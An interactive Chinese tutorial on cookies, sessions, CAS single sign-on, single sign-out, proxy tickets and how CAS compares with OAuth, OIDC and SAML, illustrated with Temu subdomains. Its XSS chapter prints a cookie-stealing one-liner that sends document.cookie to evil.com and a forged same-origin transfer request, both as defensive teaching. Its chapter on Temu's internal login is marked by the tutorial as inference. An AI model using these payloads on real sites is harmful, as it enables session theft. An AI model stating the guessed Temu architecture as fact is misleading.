从浏览器里那一条 Set-Cookie 开始,一路走到 CAS 的票据联邦,再到 Temu 内部 tools / pai / ab 多个子域如何共享一次登录。本指南用 动画 把每一个请求、每一条重定向、每一张票据演给你看,目标是让你达到 超出行业平均 的专家认知 —— 不仅能讲清"是什么",还能讲清"为什么这样设计、换了你会怎么做"。
SSO(Single Sign-On,单点登录)不是某个具体协议,而是一个 目标:用户在 一个地方 登录一次,就能访问 多个相互独立的应用 而无需重复输密码。CAS、OAuth 2.0、OIDC、SAML 都是达成这个目标的不同协议实现。本指南主角 CAS 是企业内网多系统 SSO 的经典方案,也正是大厂内部工具门户(如 Temu 的 tools/pai/ab)最可能采用的模式。
几乎所有 Web 登录的底层都是 cookie。理解 cookie 的作用域规则,是理解 SSO 跨域难题的钥匙。
Cookie 是服务端通过 Set-Cookie 响应头写给浏览器的一小段键值对,浏览器会把它存储起来,并在后续对该域的请求中通过 Cookie 请求头自动带回。它本质上是浏览器替你保管的"身份证"——你不用每次手动出示。
# 服务端下发
Set-Cookie: sessionid=abc123; Domain=tools.temuid.com; Path=/; HttpOnly; Secure; SameSite=Lax
# 浏览器之后请求同域时自动带上
Cookie: sessionid=abc123
设 Domain=.temuid.com → 所有 *.temuid.com 子域(含 temuid.com 本身)都能读到。不设则仅该精确 host 可见(host-only)。这是 SSO 跨子域的关键开关。
Path=/ 对全站生效;Path=/admin 仅该路径及子路径发送。窄 Path 不能缩小已写 cookie 的可见性,只是发送过滤。
设了之后 document.cookie 读不到这条 cookie。会话 cookie 必须加,防 XSS 脚本窃取。
只在加密连接上发送,明文 HTTP 不带。生产环境必备。
Strict:跨站完全不发;Lax(默认):顶层 GET 导航发、其他不发;None:总发但必须配 Secure。SSO 跨站重定向常因此踩坑。
Max-Age=3600 秒后失效;不设则是 session cookie,关浏览器即消失。
名为 __Host-sessionid 时强制 Secure + 无 Domain + Path=/,杜绝子域注入污染。
按顶层站点分区存储第三方 cookie,应对 Chrome 第三方 cookie 淘汰。
名为 __Secure-x 必须带 Secure 属性,防止中间人降级写入。
这是理解后面 SSO 跨子域的命门。看一个对比:SSO 门户把登录态 cookie 写在哪个 Domain,直接决定了哪些子域能"免登录感知"它。
Domain=.temuid.com浏览器访问 tools.temuid.com、pai.temuid.com、ab.temuid.com 时都会自动带上这条 cookie。
→ 适合"共享登录态 cookie"的简单跨子域方案。但任一子域被 XSS 都能读到全局登录态,安全面大。
Domain=login.temuid.com(或不写)只有 login.temuid.com 自己能读到。访问 tools.temuid.com 时不会带这条 cookie。
→ 这正是 CAS 的做法:TGC 只锁在 SSO 中心域,业务子域用一次性票据换取各自的本地会话,隔离更彻底。
tools.temuid.com(host-only),那 pai.temuid.com 永远看不到它,必须靠 SSO 中心重新签发。这正是 CAS 存在的根本原因之一。Cookie 存在浏览器,是"可以被偷走"的客户端存储。所以现代登录把 cookie 只当索引(存一个 session ID),真正的登录状态放服务端 —— 这就是 session。
用户登录成功后,服务端创建一条 session 记录(含用户 ID、角色、登录时间等),生成一个不可猜测的随机 session ID,通过 Set-Cookie 写给浏览器。之后浏览器每次请求带上这个 ID,服务端拿 ID 去"查表"还原出用户身份。
# 登录响应:服务端建 session,下发 ID
Set-Cookie: sessionid=8f3a9c2b...; HttpOnly; Secure; SameSite=Lax
# 服务端存储(概念上)
sessions["8f3a9c2b..."] = { uid: 1024, role: "ops", loginAt: ..., expireAt: ... }
最早期的方案,session 存应用进程内存。简单,但服务重启即全员掉线,且无法水平扩展——请求落到不同机器就找不到 session。
所有应用实例连同一个 Redis,session ID 作 key 查询。任何机器都能验证,天然支持水平扩展;Redis 的 TTL 还自动处理过期。这是大厂标配。
攻击:黑客把自己已有的 session ID(如 SID=evil)通过链接/注入塞给受害者浏览器,受害者用这个 ID 登录后,黑客用同一个 ID就获得了已登录会话。
防御:登录成功后立即重新生成 session ID(rotate),把旧 ID 作废、发新 ID。这样塞进来的旧 ID 立刻失效。
攻击:黑客通过 XSS、网络嗅探、中间人等偷到受害者的 session ID,直接冒充。
防御:HttpOnly(防 XSS 读)+ Secure(防嗅探)+ SameSite(防 CSRF 发送)+ HTTPS 全站;可选绑定 IP/UA(有副作用,IP 漂移会误杀)。
CAS(Central Authentication Service,中央认证服务)是 Apereo 开源的企业 SSO 协议。它的精髓不在密码,而在一整套票据——每张票据有精确的存身之处、生命周期与"是否一次性"。理解这 7 张票,就理解了 CAS 的全部。
┌─────────────────────────────────────┐
│ CAS Server(认证中心) │
│ ┌─────────────────────────────┐ │
│ │ TGT Ticket-Granting Ticket │ │ ← SSO 会话根(服务端)
│ │ (所有 ST 的"母票",可复用) │ │
│ └──────────┬──────────────────┘ │
│ │ 派生 │
│ ┌───────┴────────┬──────────┐ │
│ ▼ ▼ ▼ │
│ ST(给tools) ST(给pai) ST(给ab) ← 一次性服务票
└─────┬───────────────┬────────────────┘
│ │
浏览器投影 │ │ 服务端到服务端验证
┌──────────────┘ │(ticket 随 URL 回 service)
▼ ▼
┌─────────────────┐ ┌──────────────────────┐
│ TGC cookie │ │ service 拿 ST 回调 │
│ (host-only, │ │ /p3/serviceValidate │
│ 仅 CAS 域可见) │ │ → 返回 user+属性 │
└─────────────────┘ └──────────────────────┘
LT 登录票:表单防重放(后退/重提密码) PGT/PT/PGTIOU:代理链(见第 7 章)
TGT-Secure; HttpOnly; SameSite=LaxTGC-ticket=ST-...ST-(≥32 字符)ltLT-(概率唯一)ticket=PT-.../proxyValidate(返回 user + proxies 链)PT-PGT- / PGTIOU-用户第一次访问受保护的业务系统,从被踢去登录,到最终拿到本地会话。请一步步点 ▶,注意每一步谁在说话、cookie 写在哪、ticket 怎么传。
lt(登录票)、service。CAS 验证凭据成功后才创建 TGT。Set-Cookie: TGC(写浏览器)和 Location(302 重定向回业务系统并附带 ST)。TGC 的 Path=/cas + host-only,确保它只回 CAS。tools.temuid.com 时只带 ticket 参数,不带 TGC(TGC 属 CAS 域)。这正是隔离的体现。/serviceValidate 的 service 必须与 /login 时逐字节一致(尾斜杠、查询串、大小写都算),否则 INVALID_SERVICE 且 ticket 作废。tools_session,host-only 在 tools 域),并把 URL 里的 ticket 消化掉。Referer 头泄漏给第三方。缓解:回跳页不放第三方资源、立即验证并重定向去掉 ticket,或用 CAS 3.0 的 POST 方式把 ticket 放进请求体。上一章你已经用 tools.temuid.com 登录过一次,浏览器在
login.temuid.com 这个域下种下了一颗 TGC。现在你点开
pai.temuid.com(另一个业务系统)——它从没见过你,却不弹登录框直接放你进来。
这背后就是 SSO 的全部魔法。关键不是"它认识你",而是它把"你是谁"这件事委托给了一个
你已经认证过的中心,而那个中心用一颗 cookie 记住了你的会话。
TGC cookie 认住"你已经在中心登录过",
业务系统通过 一次性 ST 票据 验证"这次登录确实来自中心"。两条 cookie 链路,
中间用一张一次性票连接。
这是面试和工程里最容易被答错的一点。直觉上"Strict 更安全",但在 SSO 场景下
Strict 会直接破坏登录。看动画第 3 步:浏览器从
pai.temuid.com 被 302 跳转到 login.temuid.com/login。
这是一次跨站点的顶层导航(pai 子域 → login 子域,若视为不同站点)。
如果 TGC 是 SameSite=Strict,浏览器在这一跳里
不会携带 TGC,CAS 看不到 TGC 就以为你没登录,于是又给你弹登录框——
SSO 彻底失效。
SameSite=Lax 的设计恰好允许安全的顶层 GET 跳转携带 cookie,
又能挡住跨站 POST(CSRF 的主要载体)。所以 Lax 是 SSO 场景下"安全 × 可用"的精确平衡点。
这也是为什么 CAS 官方默认 TGC 用 Lax 而非 Strict——不是疏忽,是协议本身的必然要求。
| 参数 | 作用 | 典型场景 |
|---|---|---|
renew=true |
即便 TGC 存在,强制再走一次登录(输密码),拿到一张带 renew 标记的 ST | 支付/改密等高敏感操作前的步进认证(step-up);防止前一个用户没退出、后来人捡到会话 |
gateway=true |
若未登录则不弹登录框,直接静默返回应用(带或不带 ticket);已登录则照常发 ST | 首页"探测登录态":已登录就显示用户名,未登录就显示"登录"按钮,绝不打断匿名浏览 |
这两个参数揭示了 SSO 的精细控制力:认证不是"全有或全无",而是可以按业务敏感度
分层认证。Temu 内部工具里,"查看报表"用普通 SSO,"修改投放预算/提现"则可叠加
renew=true 重新验证——这就是同一套 TGC 之上的安全分层。
SSO 让你"一次登录处处通行",但硬币的另一面是:你登录过 N 个服务,每个都在自己域下种了 独立的会话 cookie。单点登出(Single Sign-Out, SLO)要解决的,就是"在 CAS 登出时, 把这 N 个服务的会话全部废掉"。这是整个 CAS 协议里最不可靠、最容易被忽略的一环—— 因为它依赖"服务端到服务端"的通知,而任何一环失败都会留下"幽灵会话"。
| 通道 | 机制 | 优点 | 缺点 |
|---|---|---|---|
| Back-channel (后通道,推荐) |
CAS 直接向每个服务发 SAML LogoutRequest POST,服务收到后销毁对应 session | 服务端背靠背、对用户不可见、不暴露票据给浏览器历史 | 服务必须暴露 /cas 通知端点并映射 SessionIndex→ST→session;任一服务不可达即漏登出 |
| Front-channel (前通道,备选) |
CAS 返回一个含多个隐藏 iframe的页面,每个 iframe 指向某服务的 /casLogout,浏览器逐个加载触发登出 | 无需服务端背靠背连通,穿透防火墙友好 | 依赖浏览器执行、会被弹窗拦截/第三方 cookie 限制影响、票据出现在 iframe URL 中 |
关键纽带是 SessionIndex:CAS 在签发每张 ST 时记录"这张票对应哪个 session", 登出时把 ST 作为 SessionIndex 塞进 LogoutRequest,服务据此精准定位要销毁的那条 session (而不是把当前用户的所有 session 都干掉)。这就是为什么 ST 即使一次性消费后,CAS 仍要 保留它的元数据一段时间——为了 SLO 能找回来。
到这里你可能会问:如果 tools 这个服务后端需要调用 pai 的 API,
且要证明"我是代表 leo 在调用",CAS 能做到吗?——能。这就是代理认证(Proxy Authentication),
CAS 协议里最精巧、也最容易被忽略的能力。它解决的是"服务到服务、且身份可传递"的问题,
比 OAuth 2.0 的 client_credentials 多了一份"用户授权链"的语义。
PGT-。PT-。本质上 PT 和 ST 同构,目标服务用 /proxyValidate(而非 /serviceValidate)校验它。PGT 不能明文出现在浏览器可见的 URL 里(否则被截获即等于窃取委托权)。CAS 用了一个巧妙的
收据配对机制:服务调 /serviceValidate 时带上自己的 pgtUrl(回调地址),
CAS 校验 ST 成功后,异步向 pgtUrl 发送真实 PGT;同时在 serviceValidate 的响应里返回一个
PGTIOU(一次性收据,前缀 PGTIOU-)。服务把收到的 PGT 与 PGTIOU 配对存好,
以后用 PGT 去换 PT。这样 PGT 永远只在后通道流转,浏览器和 ST 重放者都拿不到。
当 /proxyValidate 校验一张 PT 时,CAS 不仅返回用户身份,还返回一条
proxies 链——例如 ["tools.temuid.com", "pai.temuid.com"],表示"这张票是
tools 代用户、再委托 pai 代为调用时签发的"。目标服务可据此做链路审计与授权策略:
"只接受链路里包含 tools 的代理调用",或"链路深度超过 2 即拒绝"。这是 OAuth access_token
不具备的——后者是个不透明的"全权令牌",看不出调用链。
前面 7 章是"教科书里的 CAS"。这一章回到你最关心的真实问题:
Temu/拼多多 的 tools、pai、ab 这些内部系统,到底怎么做 SSO?
这里必须先立一条规矩——大厂的内部 IdP 几乎从不公开文档,所以本章把每条信息按可信度分级,绝不把推断包装成事实。
Temu/拼多多至少有三套相互独立的登录Realm,各自服务不同人群、用不同协议、落在不同 registrable domain 上。把它们混为一谈是初学者最大的误区。
| 登录面 | 人群 | 主域 / 入口 | 协议形态 | 可信度 |
|---|---|---|---|---|
| 消费者端 | App/网站买家 | temu.com / 拼多多 App | install_token + api_uid + Accesstoken(opaque,非 JWT);API 用 MD5 签名 | ✅ |
| 商家端 | 跨境/国内卖家 | seller.temu.com / seller.kuajingmaihuo.com / oauth.pinduoduo.com | OAuth 2.0 授权码流程;access_token 有效期约 24h | ✅ |
| 跨境身份 | 跨境业务统一身份 | passport.kuajing.com(微信扫码等) | 统一 passport 中心,多端登录态打通 | ✅ |
| 内部工具 tools / pai / ab |
员工 / 运营 / 算法 | 内网域名(未公开) | passport 式自研 IdP + 网关统一校验(非 Apereo CAS) | 🟡 |
这是一个值得讲清的工程判断。前面学的 CAS(Apereo CAS)是Java 生态的成熟单点登录产品, 默认用 host-only TGC + ST 票据互认。但拼多多核心网关是 ✅ Go 栈, 内部工具体系庞大且自研程度高,更可能采用自研 passport + API 网关统一鉴权的路线, 而非引入一套 Java 的 CAS Server。关键差异在于 cookie 的作用域策略——这正是本章的核心洞察:
host-only(绑死在 login.example.com),绝不设 Domain。
子域要登录得靠 302 跳 CAS + ST 票据互认。安全面小、但流程重、跳转多。Domain=.pinduoduo.com,
所有子域自动共享,网关侧 Redis 统一校验。流程极简、几乎无跳转,但 cookie 暴露面=整个域。下面这个流程是 🟡 推断模型,用于把前面学到的概念落到拼多多语境。 核心思想:passport 中心发一颗 Domain 级 cookie,网关统一校验,子域免跳转直连。 对比第 4-5 章的 CAS 流程,你会发现"ST 票据互认"这一整层被 Domain 共享 cookie + 网关校验替代了。
注意动画第 2 步的 Domain=.pinduoduo.com——这是整个模型的"命门"。
它让 tools/pai/ab 任何子域请求都自动带上 passport token,
所以第 7 步访问 pai 时不再需要跳转 passport,网关直接校验放行。这是相比 CAS 的巨大简化,
也是为什么大厂内部系统登录"几乎无感"。🟡 代价:任何子域的 XSS
都可能读到这颗 cookie(若非 HttpOnly)或借其身份发请求,所以内部工具强制 CSP / HttpOnly /
网关侧风控(IP、设备指纹、频次)是必须的补偿控制。
商家侧(seller.temu.com、开放平台 oauth.pinduoduo.com)走的是✅ 最标准的 OAuth 2.0 授权码流程:商家在开放平台注册应用 → 拿 client_id/secret → 引导用户到 oauth.pinduoduo.com 授权 → 回调拿 code → 后端换 access_token(有效期约 ✅ 24h) + refresh_token。API 调用用 access_token + ✅ MD5 签名防篡改。 这与第 9 章对比表里的 OAuth 2.0 列完全对应——商家端是"教科书 OAuth"。
消费者 App 不走浏览器 cookie 那套,而是✅ 设备级 token:
首次安装/启动生成 install_token + api_uid(即使未登录也有匿名身份用于推荐),
登录后拿 Accesstoken。这些 token 是 ✅ opaque(不透明)字符串
而非 JWT——服务端无法从 token 本身读出信息,必须回 Redis/DB 查。选择 opaque 而非 JWT 的原因:
🟡 可即时吊销(JWT 一旦签发到过期前无法撤销)、签名验证成本可控、
且拼多多有统一网关做集中校验,不需要 JWT 的"无状态分发"优势。
学完 CAS 你可能会问:那 OAuth、OIDC、SAML 又是什么?它们和 CAS 是竞争关系吗? 答案是:它们解决的是同一类问题(联邦身份/单点登录)的不同切面,且诞生背景不同。 理解它们的差异,你才能在架构选型时说出"为什么是这个"。下面这张表是本课的"决策罗盘"。
| 维度 | CAS | OAuth 2.0 | OpenID Connect (OIDC) | SAML 2.0 |
|---|---|---|---|---|
| 本质定位 | SSO 协议(认证 + 单点登出) | 授权框架( delegated access,不关心"你是谁") | 认证协议(基于 OAuth 2.0 加 identity layer) | 认证 + 授权协议(企业联邦身份) |
| 诞生年代/生态 | 2001耶鲁,Java/Apereo | 2012,IETF,互联网通用 | 2014,OpenID Foundation | 2005,OASIS,企业/政务 |
| 核心令牌 | TGC + ST/PT(自研票据) | access_token / refresh_token(格式不限) | id_token (JWT) + access_token | SAML Assertion (XML 签名) |
| 令牌载体 | cookie (TGC) + URL (ST) | 通常 Authorization 头 / query | id_token 经 cookie/fragment,access_token 经头 | SAML XML 经 POST (RelayState) 或 artifact |
| SSO 能力 | 原生,强项 | 非目标(需叠加 OIDC) | 原生支持 | 原生支持(IdP 发断言) |
| 单点登出 SLO | back/front-channel,最终一致 | 无标准(revocation 端点≠SLO) | RP-Initiated Logout,较完善 | SLO 标准化(同 CAS 思路),企业级 |
| 代理/委托 | Proxy(PGT/PT,带 proxies 链) | token 传递即可,无标准链路审计 | token 传递,无原生委托链 | 可(但复杂),Bearer assertion |
| 令牌校验方式 | 后端回 CAS /serviceValidate | 资源服务器校验(JWT 本地或 introspection) | JWT 本地验签(JWKS)或 introspection | 验 XML 签名 + 证书信任链 |
| 移动端友好 | 弱(强依赖浏览器 cookie) | 强(token 即可,无浏览器) | 强 | 弱(XML 重,浏览器绑定) |
| 典型场景 | 校园/企业内部 Web 门户群 | 开放平台、第三方接入(如拼多多商家开放平台) | 现代 SaaS、社交登录(Google/微信登录) | 政企 SSO、教育联邦、B2B |
| 典型坑 | SLO 不可靠;ST 放 URL 易泄漏 | scope 滥用、redirect_uri 校验不严、CSRF | id_token 重放、nonce 缺失、混合流误用 | XML 签名包装攻击、clock skew、证书轮换 |
回到 Temu 体系验证这个决策树:消费者用 opaque token(自有移动端,不走这些标准); 商家用 OAuth 2.0(开放给第三方 ISV,标准授权);内部工具用自研 passport(封闭内网 SSO)。 三种选择恰好覆盖了"自研 vs 标准"、"授权 vs 认证"、"移动 vs Web"的全谱——这是把本课学透后应该具备的"看一眼架构就能解释为什么"的能力。
前面所有章节都在讲"如何正确发 cookie / 建 session"。这一章讲它们怎么被偷走。 XSS(Cross-Site Scripting,跨站脚本)的本质不是攻击服务器,而是:攻击者把一段 JavaScript 注入到你的网页里, 这段脚本在受害者浏览器中、以"你网站的身份"执行。
| 类型 | 怎么注入 | 典型例子 | 危害 |
|---|---|---|---|
| 存储型 (持久型) |
恶意脚本存进数据库,所有访问者都中招 | 论坛发帖内容 <script>...</script>,别人看帖即执行 |
最严重:一次注入,持续收割 |
| 反射型 | 脚本藏在 URL 参数里,服务器原样回显到页面 | search?q=<script>...</script> |
需诱导点击恶意链接 |
| DOM 型 | 纯前端 JS 把不可信数据写进 DOM,不经服务器 | el.innerHTML = location.hash |
服务器日志无痕,难发现 |
XSS 能干很多坏事,"脚本窃取"最典型的是偷 cookie → 会话劫持(session hijacking)。
攻击代码往往就一行:new Image().src='https://evil.com/steal?c='+document.cookie。
攻击者不需要你的密码——他只要那串 sessionid,因为服务器只认 cookie 不认人。
下面动画演示完整攻击链,以及加上 HttpOnly 后的防御对比。
这是最常被搞混的一对。用一个"两个隔间"心智模型讲透:浏览器把每颗 cookie 同时存在两个隔间里——
网络隔间(发 HTTP 请求时自动带上,网站正常工作需要)和 JS 隔间(document.cookie 能读到,XSS 就是从这偷的)。
HttpOnly 的作用是把 cookie 从 JS 隔间移除,XSS 便读不到,但网络隔间照常,网站仍能用。
一颗 cookie(如 sessionid=ABC)
│
┌───────────────┴───────────────┐
▼ ▼
① 网络隔间 ② JS 隔间
发 HTTP 请求自动带上 document.cookie 能读到
(网站正常工作需要) (XSS 就是从这里偷的)
│ │
└──────── HttpOnly 的作用 ───────┘
把 cookie 从 ② JS 隔间拿掉
→ document.cookie 读不到 → XSS 偷不到
→ 但 ① 网络隔间照常,网站仍能用
| 属性 | 防的是什么 | 能防 XSS 偷 cookie 吗 |
|---|---|---|
HttpOnly | JS 读取 cookie(XSS 偷取) | ✅ 能 |
SameSite | 跨站请求带 cookie(CSRF) | ❌ 不能(XSS 同源,cookie 照带照读) |
Secure | 明文链路泄漏 cookie | ——(防的是网络窃听,非 XSS) |
SameSite=Lax 就防住 XSS 了"——错。
SameSite 防的是 CSRF(跨站请求不带 cookie),与 XSS 是两个不同威胁面。
XSS 脚本和你网页同源,cookie 该带照样带、该读(若无 HttpOnly)照样读。防 XSS 偷 cookie 只能靠 HttpOnly。
就算 cookie 是 HttpOnly 的、XSS 读不到,攻击者仍能在你网页里以你的身份发请求—— 因为脚本发同源请求时,浏览器照样自动附上那颗 HttpOnly cookie:
// cookie 虽 HttpOnly 读不到,但脚本在你网页里发同源请求时,
// 浏览器会自动带上那颗 cookie(网络隔间照常工作):
fetch('/api/transfer', {method:'POST', body:'to=attacker&amount=10000'});
// 服务器收到请求 + 合法 sessionid → 执行转账
也就是说:HttpOnly 让攻击者"偷不走"cookie 去别处重用,但挡不住他在当前页面"现场"以你身份操作
(转账、改密码、发帖、读敏感数据截图外传)。所以防御必须是组合拳:
| 防御手段 | 防什么 | 层次 |
|---|---|---|
| 输入转义 / 输出编码 | 阻止脚本被注入 | 根治 XSS(根源) |
| CSP(Content-Security-Policy) | 阻止注入的脚本执行 / 外发数据 | 根治 XSS(根源) |
| HttpOnly | 阻止偷 cookie 去别处重用 | 损害限制 |
| SameSite | 防 CSRF(与 XSS 不同的威胁) | 另一威胁面 |
Domain=.pinduoduo.com(共享给所有子域):
tools.pinduoduo.com 上任何一个 XSS 漏洞,攻击者用 document.cookie 就能读到这颗全域共享的 passport token——一次 XSS 沦陷 tools,等于沦陷 pai、ab 及所有子域。爆炸半径 = 整个公司内网。pai.pinduoduo.com/api 发跨子域同站请求(同站请求 cookie 自动带),跨系统搞事。Domain= 共享换来零跳转的速度,代价就是必须用网关风控 + 强制 HttpOnly + CSP + 严格子域隔离来补偿那个被放大的暴露面。CAS 的 host-only TGC 反而天然把爆炸半径限制在单域,这是它"慢但安全"的体现。
前 9 章讲"怎么运转",这一章讲"怎么不出事"。登录体系的安全事故几乎都来自少数几个 反复出现的反模式。把它们内化成肌肉记忆,你就越过了"会用"到"专家"的最后一道坎。
| 属性 | 正确取值 | 反模式与后果 |
|---|---|---|
Secure | 始终设 | 不设 → HTTP 明文链路泄漏 cookie |
HttpOnly | 会话 cookie 必设 | 不设 → XSS 可 document.cookie 偷取 |
SameSite | Lax(SSO/默认)/ Strict(纯同站 session)/ None+Secure(确需跨站) | SSO 用 Strict→登录失效;用 None 不设 Secure→被拒 |
Domain | 会话 cookie 尽量 host-only;确需共享才设父域 | 设 .example.com → 任一子域 XSS 波及全域(拼多多内部模型的代价) |
Path | 最窄可用路径 | 设 / → 所有路径都携带,增大暴露面 |
Max-Age/Expires | 短时效 + 滑动续期;绝对超时兜底 | "记住我"一年 → 长期悬挂会话 |
__Host- 前缀 | 优先用于 host-only 会话 cookie | 强制 Secure/Path=//无 Domain,防子域覆盖 |
Partitioned | 第三方 iframe 内用 CHIPS | 忽略 → 第三方 cookie 被浏览器逐步封禁 |
TGC-;丢失即账号失守,故绑 IP/设备指纹更稳。Math.random() 不合格。renew 重新认证,不要复用低敏会话。Domain=.root 却不配 HttpOnly/网关风控:一个子域 XSS 沦陷全域(拼多多内部模型若无补偿控制即是此险)。登录的本质是用可验证的凭据换取一份带状态的信任。cookie 是信任的载体,session 是信任的服务端镜像, CAS/SSO 是信任在多服务间的传递与互认,SLO 是信任的协同撤销,Proxy 是信任的受托代行。 Temu 的三套体系证明:没有"最好的"协议,只有匹配信任边界与性能约束的协议。当你能对每个属性、每张票据、 每次跳转说出"为什么是这样、不这样会怎样",你就达到了超出行业平均的专家认知。
— 全 11 章完。用右上角主题按钮切换明暗,用每段动画的 ◀ ▶ 单步、↻ 重放、进度条跳转反复研习。—